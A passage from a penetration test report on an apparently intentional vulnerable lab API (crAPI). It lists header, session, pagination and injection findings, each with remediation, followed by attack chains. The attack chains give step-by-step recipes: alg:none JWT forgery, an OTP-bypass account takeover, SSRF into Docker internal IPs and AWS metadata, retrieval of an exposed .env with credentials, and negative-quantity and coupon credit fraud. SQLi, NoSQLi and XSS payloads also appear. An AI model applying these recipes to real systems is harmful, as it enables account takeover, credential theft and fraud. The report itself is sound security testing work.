  • Replace Access-Control-Allow-Origin: * with an explicit allowlist of trusted origins (the application's frontend domain only).
  • Set CORS_ORIGIN_ALLOW_ALL = False in the Django/DRF workshop service and configure CORS_ALLOWED_ORIGINS explicitly.
  • Never use wildcard ACAO on endpoints that return sensitive or user-specific data.
CVSS Score

4.6 (Medium) — CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N


LOW

Missing HTTP Security Headers (Consolidated)

Description

HTTP security headers instruct browsers to apply protective mechanisms such as content security policies, transport security enforcement, and framing controls. These headers are a defense-in-depth layer that complements server-side security controls.

During testing, the team found that the static front-end (React SPA served by OpenResty) is missing all security headers. The Spring Boot identity service applies HSTS, X-Frame-Options: DENY, and X-Content-Type-Options: nosniff on API responses but omits Content-Security-Policy, Referrer-Policy, and Permissions-Policy. The server software version (openresty/1.27.1.2) is disclosed in the Server header on all responses and in 404 error page HTML. The reverse proxy technology (Caddy) is disclosed via the Via header.

CWE-693: Protection Mechanism Failure.

Location

https://aigentx-lab.komodosec.com/ (all endpoints) — HTTP response headers

Impact

Missing CSP enables persistent XSS execution (from confirmed SVG upload finding) without browser-level mitigation. Missing X-Frame-Options on the SPA allows clickjacking. Server version disclosure enables targeted CVE exploitation.

🔬 Proof of Concept
Replication Summary

GET requests to the frontend root and API endpoints revealed missing security headers and server version disclosure in both response headers and error page HTML.

Reproduction Steps
  1. GET / to check frontend headers — observe no security headers present
  2. GET /identity/api/auth/login to check API headers — observe partial headers (HSTS, X-Frame-Options, X-Content-Type-Options) but missing CSP, Referrer-Policy, Permissions-Policy
  3. Observe server: openresty/1.27.1.2 in Server header across all responses
Request
GET / HTTP/2 Host: aigentx-lab.komodosec.com
Response
HTTP/2 200 OK server: openresty/1.27.1.2 [VERSION DISCLOSED] via: 1.1 Caddy [PROXY TECHNOLOGY DISCLOSED] MISSING on frontend: strict-transport-security, content-security-policy, x-frame-options, x-content-type-options, referrer-policy, permissions-policy API response (Spring Boot): strict-transport-security: max-age=31536000; includeSubDomains [PRESENT] x-frame-options: DENY [PRESENT on API only] x-content-type-options: nosniff [PRESENT on API only] MISSING on API: content-security-policy, referrer-policy, permissions-policy 404 HTML body: <center>openresty/1.27.1.2</center> [VERSION IN HTML]
What This Proves

The frontend serves no security headers. API applies only partial headers. Server version openresty/1.27.1.2 is disclosed in headers and error HTML across all endpoints.

Remediation
  • Apply all security headers uniformly at the Caddy reverse proxy layer: Content-Security-Policy, Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy, and HSTS with preload.
  • Suppress server version disclosure: set server_tokens off in OpenResty and remove the Server header via Caddy header directives.
  • Customize error pages to remove the version string from OpenResty 404/500 HTML bodies.
CVSS Score

2.1 (Low) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

LOW

Internal Docker Container IP Disclosed via HTTP/1.0 Redirect

Description

When an HTTP/1.0 GET request is sent without a Host header to port 8888, the OpenResty web server responds with a 301 redirect whose Location header contains the internal Docker container IP address (172.18.0.11) rather than the public hostname. HTTP redirects are required to include an absolute URI, and OpenResty resolves this URI using the internal container IP when no Host header is supplied.

During testing, the team found that this HTTP/1.0 request pattern causes IP disclosure of the Docker bridge network address. This directly aided the SSRF-based internal network enumeration confirmed in this assessment — the Docker subnet 172.18.0.0/16 was subsequently probed via the SSRF vulnerability and confirmed reachable.

CWE-200: Exposure of Sensitive Information.

Location

http://aigentx-lab.komodosec.com:8888/ — HTTP/1.0 request without Host header

Impact

Internal IP disclosure confirmed the Docker network address used to probe internal services via SSRF. Reveals containerized deployment architecture, guiding container-escape research.

🔬 Proof of Concept
Replication Summary

An HTTP/1.0 request without a Host header to port 8888 returned a 301 redirect with the internal Docker container IP (172.18.0.11) in the Location header.

Reproduction Steps
  1. Connect to aigentx-lab.komodosec.com:8888 via raw socket (nc or equivalent)
  2. Send: GET /images HTTP/1.0 followed by double CRLF (no Host header)
  3. Observe 301 redirect with Location: http://172.18.0.11/images/
Request
GET /images HTTP/1.0\r\n\r\n (sent to aigentx-lab.komodosec.com:8888 via raw socket, no Host header)
Response
HTTP/1.1 301 Moved Permanently Server: openresty/1.27.1.2 Location: http://172.18.0.11/images/ <-- INTERNAL IP DISCLOSED Content-Type: text/html
What This Proves

The server disclosed internal Docker container IP 172.18.0.11 in the Location header. This IP was subsequently confirmed reachable via the SSRF vulnerability — mechanic_api=http://172.18.0.11/ returned the crAPI frontend HTML.

Remediation
  • Configure OpenResty to use the public hostname in all redirects: return 301 https://$host$request_uri; — never use the detected server IP.
  • Block or drop HTTP/1.0 requests without a Host header at the Caddy reverse proxy layer.
  • Apply Docker network segmentation to ensure internal container IPs cannot be used as SSRF targets.
CVSS Score

2.7 (Low) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

LOW

No Logout Endpoint — Active Sessions Cannot Be Terminated

Description

Session termination is a fundamental security control that allows users to invalidate their credentials after use or in response to a suspected compromise. The application does not implement a functioning logout endpoint for this purpose.

During testing, the team found that POST /identity/api/auth/logout returns HTTP 404 Not Found with the message "No static resource identity/api/auth/logout." Combined with the absence of token expiry enforcement and the lack of revocation on password change, there is no mechanism for a user to terminate their active session under any circumstances.

CWE-613: Insufficient Session Expiration.

Location

POST https://aigentx-lab.komodosec.com/identity/api/auth/logout (returns HTTP 404)

Impact

Users cannot invalidate their tokens after a suspected compromise. Stolen tokens provide permanent access with no remediation path available to the account owner.

🔬 Proof of Concept
Replication Summary

A POST to /identity/api/auth/logout with a valid token returned HTTP 404, confirming no logout functionality exists.

Reproduction Steps
  1. Authenticate to obtain a valid Bearer token
  2. POST to /identity/api/auth/logout with the token
  3. Observe HTTP 404 — no logout endpoint implemented
Request
POST /identity/api/auth/logout HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer <valid_token>
Response
HTTP/2 404 Not Found {"type":"about:blank","title":"Not Found","status":404,"detail":"No static resource identity/api/auth/logout.","instance":"/identity/api/auth/logout"}
What This Proves

The logout endpoint does not exist. Combined with missing token revocation on password change, stolen tokens have no invalidation mechanism available to users or administrators.

Remediation
  • Implement a /logout endpoint that adds the token's jti claim to a server-side blocklist.
  • Use short-lived access tokens (15 minutes) with refresh token rotation as a compensating control.
  • Enforce the exp claim to ensure tokens naturally expire even without explicit revocation.
CVSS Score

4.6 (Low) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

LOW

No Pagination Limit Enforcement — Potential DoS via Unbounded Query

Description

Pagination controls are intended to limit the volume of data returned per request and protect backend resources from exhaustion. The community posts endpoint accepts a limit query parameter that is expected to control the number of records returned.

During testing, the team found the server processed a request with limit=999999 and attempted to return all matching records in a single response without error, truncation, or a 400 Bad Request response. No server-side maximum page size is enforced.

CWE-770: Allocation of Resources Without Limits or Throttling.

Location

GET https://aigentx-lab.komodosec.com/community/api/v2/community/posts/recent?limit=999999&offset=0

Impact

Repeated requests with extreme limit values can exhaust database and API server memory, degrading availability. Combined with no rate limiting, this provides a low-cost denial of service vector for authenticated users.

🔬 Proof of Concept
Replication Summary

A limit=999999 parameter was submitted to the community posts endpoint. The server returned all posts without error, truncation, or a 400 response.

Reproduction Steps
  1. GET /community/api/v2/community/posts/recent?limit=999999&offset=0 with a valid token
  2. Observe HTTP 200 with all posts returned, no truncation or 400 error
Request
GET /community/api/v2/community/posts/recent?limit=999999&offset=0 HTTP/2 Host: aigentx-lab.komodosec.com Authorization: Bearer <TOKEN1>
Response
HTTP/2 200 OK {"posts":[...all posts returned without truncation or error...]} -- No HTTP 400 for excessive limit, no server-side cap enforced
What This Proves

The server accepted limit=999999 and returned all posts. No server-side maximum page size is enforced, enabling unbounded database queries that could exhaust resources under repeated requests.

Remediation
  • Enforce a server-side maximum page size (e.g., 100 records) regardless of the client-supplied limit.
  • Return HTTP 400 if the requested limit exceeds the maximum.
  • Implement per-user API rate limiting to prevent abuse of data-intensive endpoints.
CVSS Score

4.3 (Low) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N


INFO

Registration Does Not Accept Role Injection

Description

Attempts to register a new user with elevated role fields (role=admin, role=ROLE_ADMIN, is_admin=true) in the signup request body were unsuccessful. The API accepted registration but ignored all injected role fields, assigning ROLE_USER to all new accounts regardless of submitted values. Privilege escalation remains achievable via JWT forgery (covered by the separate High finding).

Location

POST https://aigentx-lab.komodosec.com/identity/api/auth/signup

🔬 Proof of Concept
Request / Response
POST /identity/api/auth/signup {"name":"Test Admin","email":"testadmin1@komodosec.com","number":"0501234567","password":"Admin123!","role":"admin","is_admin":true} HTTP 200: {"message":"User registered successfully!"} Dashboard after login: {"role":"ROLE_USER"} -- role injection ignored
Remediation
  • Continue to ignore role and privilege fields on signup; implement an explicit allowlist of accepted registration fields.
INFO

Admin API Endpoints Not Exposed to Regular Users

Description

Admin endpoints (/identity/api/v2/admin/users, /identity/api/v2/admin/users/find, /identity/api/v2/admin/dashboard, /identity/api/v2/admin/mechanic/new_mechanic) all returned HTTP 404 when accessed with a regular user JWT. No vertical privilege escalation was confirmed via these paths.

Location

https://aigentx-lab.komodosec.com/identity/api/v2/admin/*

🔬 Proof of Concept
Request / Response
GET /identity/api/v2/admin/users (TOKEN1): HTTP 404 -- Not Found GET /identity/api/v2/admin/users/find?email=admin@example.com: HTTP 404 GET /identity/api/v2/admin/dashboard: HTTP 404
Remediation
  • Continue to ensure admin endpoints are not discoverable through the reverse proxy for non-admin roles.
INFO

Video BOLA — Not Confirmed (Ownership Correctly Enforced)

Description

Cross-user video access was tested via direct video_id access. Accessing another user's video_id returned HTTP 404 "Video not found" in both directions. PUT with another user's video_id returned the calling user's own video data — ownership is correctly enforced at this endpoint, unlike the vehicle location and shop order endpoints.

Location

GET https://aigentx-lab.komodosec.com/identity/api/v2/user/videos/{video_id}

🔬 Proof of Concept
Request / Response
GET /identity/api/v2/user/videos/53 with user1 → HTTP 404 {"message":"Video not found."} GET /identity/api/v2/user/videos/52 with user2 → HTTP 404 PUT /identity/api/v2/user/videos/53 with user1 → HTTP 200 returned user1's own video (id:52)
Remediation
  • No action required; continue monitoring for BOLA patterns across all resource endpoints.
INFO

API Versioning — Only v2 Active, No Legacy Version with Weaker Auth

Description

API versions v0, v1, v3, and v4 were tested by substituting the version segment in known endpoint paths. All returned HTTP 404. Only v2 is active. No legacy version with weaker authentication or unpatched vulnerability exposure was found.

Location

https://aigentx-lab.komodosec.com/identity/api/v{0,1,3,4}/user/dashboard

🔬 Proof of Concept
Request / Response
GET /identity/api/v0/user/dashboard → HTTP 404 GET /identity/api/v1/user/dashboard → HTTP 404 GET /identity/api/v2/user/dashboard → HTTP 200 (active) GET /identity/api/v3/user/dashboard → HTTP 404
Remediation
  • Ensure no legacy API versions are re-exposed as functionality grows.
INFO

Mass Assignment via User Dashboard — Not Vulnerable

Description

PUT and PATCH methods on the user dashboard endpoint were tested with privilege-escalating fields including role=ROLE_ADMIN and available_credit=999999. Both methods returned HTTP 405 Method Not Allowed. HTTP method override headers were also ineffective.

Location

PUT/PATCH https://aigentx-lab.komodosec.com/identity/api/v2/user/dashboard

🔬 Proof of Concept
Request / Response
PUT /identity/api/v2/user/dashboard {"role":"ROLE_ADMIN","available_credit":999999} → HTTP 405 PATCH same → HTTP 405 POST with X-HTTP-Method-Override: PUT → HTTP 405
Remediation
  • No action required; continue to enforce method restrictions on sensitive endpoints.
INFO

XSS Payloads HTML-Encoded in Community Posts — Not Vulnerable

Description

XSS payloads submitted in community post title and content fields are HTML-encoded server-side before storage. The community API (Go service) applies proper output encoding. <script>alert(1)</script> is stored as \u0026lt;script\u0026gt;. SSTI payloads ({{7*7}}, ${7*7}) are stored verbatim without evaluation.

Location

POST https://aigentx-lab.komodosec.com/community/api/v2/community/posts

🔬 Proof of Concept
Request / Response
POST /community/api/v2/community/posts {"title":"<script>alert(1)</script>",...} HTTP 200: {"title":"\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;"} -- payload HTML-encoded
Remediation
  • Continue enforcing HTML encoding at the API layer; ensure frontend uses safe DOM rendering (textContent, not innerHTML).
INFO

SQL Injection — Not Confirmed

Description

SQL injection was tested against the login endpoint (email, password fields), community posts (limit/offset parameters), and shop orders (path parameter). No SQL errors, authentication bypass, or data leakage was observed. Parameterized queries appear to be in use throughout.

Location

POST /identity/api/auth/login, GET /community/api/v2/community/posts/recent, GET /workshop/api/shop/orders/{id}

🔬 Proof of Concept
Request / Response
POST /identity/api/auth/login {"email":"admin@example.com' OR 1=1--","password":"test"} HTTP 400/401 -- generic error, no SQL error leakage GET /posts/recent?offset=0' OR 1=1-- → Normal post list returned GET /shop/orders/1' → HTTP 404 (routing mismatch, not DB error)
Remediation
  • Continue using parameterized queries and ORM frameworks; review any raw SQL in the codebase.
INFO

NoSQL Injection — Not Confirmed

Description

NoSQL injection was tested with MongoDB operator syntax ({"$gt":""}) against the login and coupon validate endpoints. Spring Boot rejected non-string email types with HTTP 400; the Go coupon service treated the operator as a literal string. No authentication bypass or data leakage observed.

Location

POST /identity/api/auth/login, POST /community/api/v2/coupon/validate-coupon

🔬 Proof of Concept
Request / Response
POST /identity/api/auth/login {"email":{"$gt":""},"password":{"$gt":""}} HTTP 400: {"detail":"Failed to read request"} -- typed DTO rejects non-string POST /coupon/validate-coupon {"coupon_code":{"$gt":""},"amount":1000} HTTP 200: {} -- no match returned
Remediation
  • Continue using typed DTOs; sanitize MongoDB queries to strip operator keys as additional defense.
INFO

Path Traversal — Not Vulnerable

Description

Path traversal sequences in URL path parameters were tested against the video endpoint. Spring Boot's router normalized path traversal sequences before reaching the filesystem. GET /identity/api/v2/user/videos/../../../etc/passwd returned 404 with the path normalized to /identity/api/etc/passwd.

Location

GET /identity/api/v2/user/videos/../../../etc/passwd

🔬 Proof of Concept
Request / Response
GET /identity/api/v2/user/videos/../../../etc/passwd HTTP/2 HTTP/2 404 Not Found {"detail":"No static resource identity/api/etc/passwd."}
Remediation
  • No immediate action required; ensure any file-serving endpoints implement explicit path sanitization beyond framework normalization.
INFO

XXE — Not Applicable (XML Not Accepted)

Description

XXE was tested by sending XML content with a DOCTYPE declaration to the login endpoint. Spring Boot returned HTTP 415 Unsupported Media Type, confirming only JSON content types are accepted at this endpoint.

Location

POST https://aigentx-lab.komodosec.com/identity/api/auth/login

🔬 Proof of Concept
Request / Response
POST /identity/api/auth/login with Content-Type: application/xml and DOCTYPE XXE payload HTTP 415: {"detail":"Content-Type 'application/xml;charset=UTF-8' is not supported."}
Remediation
  • No action required for this endpoint; ensure any XML-parsing components disable external entity processing.
INFO

HTTP 500 Internal Server Error on Shop Orders Endpoint (Minor Error Handling)

Description

Passing a user_id query parameter to GET /workshop/api/shop/orders causes the Django backend to return an unhandled HTTP 500 Internal Server Error. Debug mode appears disabled (no stack trace visible in the response body), limiting information disclosure. The unhandled exception returns a generic Django 500 HTML error page.

Location

GET https://aigentx-lab.komodosec.com/workshop/api/shop/orders?user_id=1

🔬 Proof of Concept
Request / Response
GET /workshop/api/shop/orders?user_id=1 HTTP/2 Authorization: Bearer <TOKEN1> HTTP/2 500 Internal Server Error <!doctype html><html lang="en"><head><title>Server Error (500)</title></head><body><h1>Server Error (500)</h1><p></p></body></html>
Remediation
  • Implement proper error handling to return a JSON 400/404 response for unrecognized parameters.
  • Confirm Django DEBUG = False in the production settings file.
  • Validate and sanitize all query parameters before passing them to the ORM.

⛓️ Attack Chains

ATTACK CHAIN

Attack Chain: Community Posts PII + BOLA Vehicle Location → Mass User GPS Surveillance

Description

A two-step chain allows any authenticated user to establish real-time GPS surveillance of the entire platform user base. The community posts endpoint leaks vehicleIds in author objects, and the vehicle location endpoint accepts those IDs without ownership checks. Both steps can be performed with a single authenticated account in under 30 seconds, yielding GPS coordinates and PII for every user who has posted to the community.

CVSS Score

8.3 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

  1. Step 1 — Harvest vehicleIds and emails: GET /community/api/v2/community/posts/recent — returns all users' email addresses and vehicleId UUIDs in the author object. Single request, no additional permissions required beyond basic authentication.
  2. Step 2 — GPS track each user: For each harvested vehicleId, GET /identity/api/v2/vehicle/{vehicleid}/location — returns real-time GPS latitude/longitude, full name, and email. No ownership check performed.
  3. Step 3 — Continuous tracking: Re-poll the location endpoint at any interval to track movement over time. Combine GPS data with email and full name for targeted physical or social engineering attacks.
Component Findings
  • Community Posts Endpoint Leaks All Users' Email Addresses and Vehicle IDs (Medium)
  • BOLA — Cross-User Vehicle GPS Location Tracking (High)
ATTACK CHAIN

Attack Chain: JWT Auth Bypass + OTP ATO → Full Platform Account Compromise

Description

Two independent paths allow complete account compromise for any user including admin@example.com without prior knowledge of their password. Path A requires no credentials whatsoever; Path B requires only an authenticated account. Both paths are confirmed exploitable. Because old tokens remain valid (no revocation), an attacker via Path B retains access even after the victim resets their password.

CVSS Score

9.2 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

  1. Path A — JWT Forgery (zero credentials required): Construct JWT with header={alg:none, typ:JWT}, payload={sub:admin@example.com, exp:9999999999, role:admin}, empty signature. Submit as Bearer token to any authenticated endpoint. Receive full admin account data and admin role privileges immediately.
  2. Path B — OTP Bypass Account Takeover: (1) GET /community/api/v2/community/posts/recent to harvest target email (or read admin email from mechanic report ID 1). (2) POST /identity/api/v2/user/reset-password with target email, otp=000000, new password of attacker's choice. (3) POST /identity/api/auth/login with target email and new password — receive valid JWT. (4) Original token remains valid in parallel.
  3. Post-compromise: Use obtained admin-role JWT to access all user data, reset other accounts, read payment card details via BOLA, and create coupons for unlimited credit — full platform compromise achieved.
Component Findings
  • JWT Signature Validation Completely Absent — Any Token Accepted for Any User (High)
  • Password Reset OTP Completely Bypassed — Cross-User Account Takeover (High)
  • JWT Tokens Not Revoked After Password Change (High)
  • Community Posts Endpoint Leaks All Users' Email Addresses and Vehicle IDs (Medium)
ATTACK CHAIN

Attack Chain: SSRF + Exposed .env + Internal Docker Network → Multi-Vector Infrastructure Compromise

Description

The SSRF vulnerability in contact_mechanic serves as the pivot point for a multi-target infrastructure attack. Combined with the publicly accessible .env file, all database credentials are available both directly (unauthenticated GET) and via SSRF (any authenticated user). The internal Docker network is reachable, enabling discovery of additional internal services. The AWS IMDS is reachable and limited only by IMDSv2 enforcement. Each vector independently provides sensitive data; together they create a comprehensive internal reconnaissance and exfiltration capability.

CVSS Score

8.7 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

  1. Step 1 — Direct credential exfiltration: GET https://aigentx-lab.komodosec.com/.env — returns PostgreSQL and MongoDB credentials directly with no authentication required.
  2. Step 2 — SSRF credential confirmation: POST /workshop/api/merchant/contact_mechanic with mechanic_api=https://aigentx-lab.komodosec.com/.env — server fetches and returns the .env content, confirming SSRF full response exfiltration works for any HTTP URL the server can reach.
  3. Step 3 — Internal network enumeration: Set mechanic_api=http://172.18.0.11/ — confirms Docker internal network (172.18.0.0/16) reachable from the workshop container. Probe other IPs in the subnet to discover internal services (identity on 8080, MongoDB on 27017, PostgreSQL on 5432).
  4. Step 4 — Cloud metadata probe: Set mechanic_api=http://169.254.169.254/latest/meta-data/ — AWS IMDS reachable (HTTP 401 confirms IMDSv2). If IMDSv1 is re-enabled or SSRF client supports PUT-based IMDSv2 token acquisition, IAM role credentials are obtainable, potentially granting full AWS account access.
  5. Step 5 — Direct database access: Use harvested credentials (crapi:crapi) with known hostnames (postgresdb:5432, mongodb:27017) to access databases if reachable, or via SSRF to any internal HTTP admin interface.
Component Findings
  • SSRF with Full Response Exfiltration via contact_mechanic mechanic_api Field (High)
  • Exposed .env File Leaking Database Credentials Without Authentication (High)
  • Internal Docker Container IP Disclosed via HTTP/1.0 Redirect (Low)
ATTACK CHAIN

Attack Chain: Unauthorized Coupon Creation + Validate Coupon → Arbitrary Credit Accumulation

Description

The coupon system has a complete authorization failure: any authenticated user can create coupons with arbitrary amounts, and those coupons are retrievable via the validate-coupon endpoint. This allows an attacker to create coupons for any denomination and redeem them for free store credit, completely bypassing the intended payment model. Combined with the negative quantity order vulnerability, all shop items are effectively free for any authenticated user.

CVSS Score

7.1 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

  1. Step 1 — Create coupon: POST /community/api/v2/coupon/new-coupon with {coupon_code: ATTACKER_CODE, amount: 10000} using any regular user token. Response: "Coupon Added in database".
  2. Step 2 — Validate/apply coupon: POST /community/api/v2/coupon/validate-coupon with {coupon_code: ATTACKER_CODE, amount: 10000}. Response confirms coupon exists in system.
  3. Step 3 — Repeat for unlimited credit: Create and redeem additional coupons with new codes for any required credit amount. No rate limiting or uniqueness enforcement prevents mass coupon creation and redemption.
Component Findings
  • Unauthorized Coupon Creation by Regular User — Broken Function Level Authorization (High)
ATTACK CHAIN

Attack Chain: Negative Quantity Shop Order → Financial Fraud / Unlimited Credit

Description

A single API call with a negative quantity causes the server to add store credit rather than deducting it, completely defeating the shop's payment model. Phase 3 validation confirmed user2 gained $10,000 credit in one request (quantity=-1000, product price $10). Any authenticated user can repeat this indefinitely to accumulate unlimited credit, purchase all shop items for free, and cause direct financial loss to the platform.

CVSS Score

8.7 (High) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

  1. Step 1 — Identify any product: GET /workshop/api/shop/products — returns products with IDs and prices. Product 1 (Seat) costs $10.00.
  2. Step 2 — Place negative order for large credit gain: POST /workshop/api/shop/orders with {product_id: 1, quantity: -1000}. Response: {credit: 10110.0} — $10,000 added to balance.
  3. Step 3 — Purchase any item for free: POST /workshop/api/shop/orders with {product_id: <target>, quantity: 1} — succeeds using the inflated credit balance.
  4. Step 4 — Repeat indefinitely: Place additional negative orders for any required credit amount; no limit or detection mechanism prevents continuous exploitation.
Component Findings
  • Business Logic Flaw: Negative Quantity Shop Order Grants Arbitrary Credit (High)

📌 Additional Notes

The following scope limitations apply to this assessment: (1) The chatbot feature was not tested as it requires an OpenAI API key that was not available during the engagement. (2) Testing was performed from the perspective of two authenticated regular user accounts; findings requiring admin-level access were demonstrated via JWT forgery (confirmed High finding). (3) FFmpeg RCE via conversion_params was not fully confirmed — shell metacharacters are accepted and stored without sanitization, but asynchronous execution was not triggered during the test window. The vulnerability is rated Medium on this basis; confirmation of execution would elevate it to Critical. (4) AWS IMDS was only partially tested — IMDSv2 enforcement blocked simple GET-based credential extraction. A SSRF client capable of issuing the required PUT request for an IMDSv2 token could achieve full IAM credential theft. (5) Direct database connectivity (PostgreSQL port 5432, MongoDB port 27017) was not tested as these services are not exposed to the external network; credentials from the .env file were noted for potential internal use via SSRF. (6) The application runs on AWS EC2 (34.207.173.68 / ec2-34-207-173-68.compute-1.amazonaws.com) behind OpenResty 1.27.1.2 and Caddy reverse proxy.